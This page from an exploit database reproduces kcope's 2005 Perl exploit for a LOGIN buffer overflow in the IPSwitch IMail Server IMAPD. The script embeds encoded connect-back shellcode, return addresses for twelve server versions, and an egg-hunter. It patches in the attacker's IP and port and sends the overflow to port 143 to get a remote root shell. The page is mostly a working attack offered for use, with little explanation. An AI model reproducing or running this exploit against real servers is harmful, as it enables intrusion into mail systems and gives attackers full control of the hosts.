Lucene search
K

IPSwitch IMail Server <= 8.15 IMAPD Remote Root Exploit

🗓️ 01 Aug 2005 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 12 Views

IPSwitch IMail Server <= 8.15 IMAPD Remote Root Exploi

Code

                                                # IpSwitch IMAIL Server IMAPD Remote r00t Exploit by kcope
# June 2005
# Confidential!

use IO::Socket;

# 316 bytes
$cbsc = 
&quot;\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x25\x01\x80\x34\x0B\xC2\xE2\xFA&quot;
.&quot;\xEB\x05\xE8\xEB\xFF\xFF\xFF&quot;
.&quot;\x2B\x39\xC2\xC2\xC2\x9D\xA6\x63\xF2\xC2\xC2\xC2\x49\x82\xCE\x49&quot;
.&quot;\xB2\xDE\x6F\x49\xAA\xCA\x49\x35\xA8\xC6\x9B\x2A\x59\xC2\xC2\xC2&quot;
.&quot;\x20\x3B\xAA\xF1\xF0\xC2\xC2\xAA\xB5\xB1\xF0\x9D\x96\x3D\xD4\x49&quot;
.&quot;\x2A\xA8\xC6\x9B\x2A\x40\xC2\xC2\xC2\x20\x3B\x43\x2E\x52\xC3\xC2&quot;
.&quot;\xC2\x96\xAA\xC3\xC3\xC2\xC2\x3D\x94\xD2\x92\x92\x92\x92\x82\x92&quot;
.&quot;\x82\x92\x3D\x94\xD6\x49\x1A\xAA\xBD\xC2\xC2\xC3\xAA\xC0\xC2\xC2&quot;
.&quot;\xF7\x49\x0E\xA8\xD2\x93\x91\x3D\x94\xDA\x47\x02\xB7\x88\xAA\xA1&quot;
.&quot;\xAF\xA6\xC2\x4B\xA4\xF2\x41\x2E\x96\x4F\xFE\xE6\xA8\xD7\x9B\x69&quot;
.&quot;\x20\x3F\x04\x86\xE6\xD2\x86\x3C\x86\xE6\xFF\x4B\x9E\xE6\x8A\x4B&quot;
.&quot;\x9E\xE6\x8E\x4B\x9E\xE6\x92\x4F\x86\xE6\xD2\x96\x92\x93\x93\x93&quot;
.&quot;\xA8\xC3\x93\x93\x3D\xB4\xF2\x93\x3D\x94\xC6\x49\x0E\xA8\x3D\x3D&quot;
.&quot;\xF3\x3D\x94\xCA\x91\x3D\x94\xDE\x3D\x94\xCE\x93\x94\x49\x87\xFE&quot;
.&quot;\x49\x96\xEA\xBA\xC1\x17\x90\x49\xB0\xE2\xC1\x37\xF1\x0B\x8B\x83&quot;
.&quot;\x6F\xC1\x07\xF1\x19\xCD\x7C\xD2\xF8\x14\xB6\xCA\x03\x09\xCF\xC1&quot;
.&quot;\x18\x82\x29\x33\xF9\xDD\xB7\x25\x98\x49\x98\xE6\xC1\x1F\xA4\x49&quot;
.&quot;\xCE\x89\x49\x98\xDE\xC1\x1F\x49\xC6\x49\xC1\x07\x69\x9C\x9B\x01&quot;
.&quot;\x2A\xC2\x3D\x3D\x3D\x4C\x8C\xCC\x2E\xB0\x3C\x71\xD4\x6F\x1B\xC7&quot;
.&quot;\x0C\xBC\x1A\x20\xB1\x09\x2F\x3E\xF9\x1B\xCB\x37\x6F\x2E\x3B\x68&quot;
.&quot;\xA2\x25\xBB\x04\xBB&quot;;

$numtargets = 12;

@targets = 
(
 [&quot;Ipswitch IMAIL Server IMAPD 7.04&quot;, &quot;\x5F\x2E\x01\x10&quot;, 1],
 [&quot;Ipswitch IMAIL Server IMAPD 7.07&quot;, &quot;\x3F\x34\x01\x10&quot;, 1],
 [&quot;Ipswitch IMAIL Server IMAPD 7.13&quot;, &quot;\x33\x36\x01\x10&quot;, 1],
 [&quot;Ipswitch IMAIL Server IMAPD 7.15&quot;, &quot;\x53\x36\x01\x10&quot;, 1],
 [&quot;Ipswitch IMAIL Server IMAPD 8.00/8.01/8.02/8.03&quot;, &quot;\x53\x36\x01\x10&quot;, 1],
 [&quot;Ipswitch IMAIL Server IMAPD 8.04&quot;, &quot;\x73\x36\x01\x10&quot;, 1],
 [&quot;Ipswitch IMAIL Server IMAPD 8.05 NO HOTFIX&quot;, &quot;\xB3\x36\x01\x10&quot;, 1],
 [&quot;Ipswitch IMAIL Server IMAPD 8.05HF1/8.05HF2/8.05HF3&quot;, &quot;\x03\x37\x01\x10&quot;, 1],
 [&quot;Ipswitch IMAIL Server IMAPD 8.10&quot;, &quot;\xfe\xf9\x01\x10&quot;, 0],
 [&quot;Ipswitch IMAIL Server IMAPD 8.11&quot;, &quot;\x8e\x02\x02\x10&quot;, 0],
 [&quot;Ipswitch IMAIL Server IMAPD 8.12/8.13/8.14&quot;, &quot;\x2e\x0b\x02\x10&quot;, 0],
 [&quot;Ipswitch IMAIL Server IMAPD 8.15&quot;, &quot;\x0e\x0e\x02\x10&quot;, 0]
);

print &quot;IpSwitch IMAIL Server IMAPD Remote r00t Exploit by kcope VER1\n&quot;;
if ($#ARGV ne 3) {
	print &quot;usage: imail.pl target targettype yourip yourport\n\n&quot;;
    for ($i=0; $i&lt;$numtargets; $i++) {
	 print &quot; [&quot;.$i.&quot;]...&quot;. $targets[$i][0]. &quot;\r\n&quot;;
    }	
	exit(0);	
}

$tt=$ARGV[1];
$ret = $targets[$tt][1];
$cbip=$ARGV[2];
$cbport=$ARGV[3];

($a1, $a2, $a3, $a4) = split(//, gethostbyname(&quot;$cbip&quot;));
$a1 = chr(ord($a1) ^ 0xc2);
$a2 = chr(ord($a2) ^ 0xc2);
$a3 = chr(ord($a3) ^ 0xc2);
$a4 = chr(ord($a4) ^ 0xc2);
substr($cbsc, 111, 4, $a1 . $a2 . $a3 . $a4);

($p1, $p2) = split(//, reverse(pack(&quot;s&quot;, $cbport)));
$p1 = chr(ord($p1) ^ 0xc2);
$p2 = chr(ord($p2) ^ 0xc2);
substr($cbsc, 118, 2, $p1 . $p2);	  

print &quot;[*] $ARGV[0]\n&quot;;
print &quot;[*] &quot;.$targets[$tt][0].&quot;\n&quot;;

$sock = IO::Socket::INET-&gt;new(PeerAddr =&gt; $ARGV[0],
                              PeerPort =&gt; '143',
                              Proto    =&gt; 'tcp');

$findsc=&quot;\x83\xc0\x04\x81\x38\x53\x45\x58\x59\x74\x02\xeb\xf3\x83\xc0\x04\xff\xe0&quot;;

if ($targets[$tt][2] eq 0) {
 $a=&quot;@&quot; . &quot;SEXY&quot; . $cbsc . &quot;A&quot; x 358 . &quot;\xeb\x04&quot; . $ret . &quot;AAAA&quot; . $findsc . &quot;A&quot; x 1000;	# IMAIL &gt; 8.00
}

if ($targets[$tt][2] eq 1) {
 $a=&quot;@&quot; . &quot;SEXY&quot; . $cbsc . &quot;A&quot; x 366 . &quot;\xeb\x04&quot; . $ret . &quot;AAAA&quot; . $findsc . &quot;A&quot; x 1000;	# IMAIL 8.00
}

print $sock &quot;a001 LOGIN \&quot;&quot; . $a . &quot;\&quot; password\r\n&quot;;

while(&lt;$sock&gt;) {
		print;
}

# milw0rm.com [2005-08-01]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Aug 2005 00:00Current
7.1High risk
Vulners AI Score7.1
12